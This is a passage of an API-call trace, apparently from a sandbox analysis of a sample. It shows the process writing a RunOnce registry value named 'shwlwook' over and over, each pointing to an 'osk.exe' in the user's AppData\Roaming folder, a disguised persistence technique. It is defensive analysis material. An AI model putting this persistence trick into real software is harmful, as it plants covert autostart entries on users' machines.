phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.256] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.256] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.256] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.257] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.282] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.310] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.311] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.311] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.311] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.311] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.311] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.311] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.312] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.318] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.318] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.318] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.318] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.319] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.319] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.319] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.319] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.319] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.333] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.333] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.334] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.334] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.334] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.334] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.334] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.335] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.335] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.349] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.349] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.350] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.350] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.350] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.350] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.350] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.351] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.351] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.364] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.364] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.365] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.365] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.365] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.365] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.365] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.366] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.366] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.380] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.380] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.381] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.381] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.381] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.381] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.381] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.382] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.382] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.396] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.396] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.396] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.396] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.396] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.397] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.397] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.397] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.397] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.411] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.411] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.412] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.412] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.412] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.413] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.413] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.413] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.413] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.427] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.427] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.427] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.428] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.428] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.428] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.428] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.429] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.429] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.443] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.443] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.443] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.443] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.443] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.444] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.444] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.444] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.444] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.458] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.458] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.458] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.459] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.459] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.459] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.459] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.459] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.460] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.475] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.475] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.476] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.476] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.476] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.476] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.476] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.477] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.477] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.489] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.489] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.490] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.490] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.490] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.490] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.490] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.491] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.491] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.505] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.505] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.505] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.506] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.506] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.506] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.506] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.507] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.507] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.543] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.543] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.543] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.543] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.543] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.544] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.544] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.544] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.544] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.552] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.552] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.552] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.553] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.553] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.553] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.554] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.554] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.554] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.568] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.568] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.568] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.568] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.568] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.569] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.569] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.569] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.569] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.583] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.583] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.584] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.584] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.584] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.584] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.584] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.585] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.585] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.599] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.599] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.599] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.600] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.600] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.600] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.600] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.600] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.600] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.614] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.614] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.615] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.615] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.615] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.616] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.616] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.616] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.616] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.630] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.630] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.630] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.631] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.631] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.631] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.631] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.631] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.632] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.646] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.646] DispatchMessageW (lpMsg=0x95f69c) 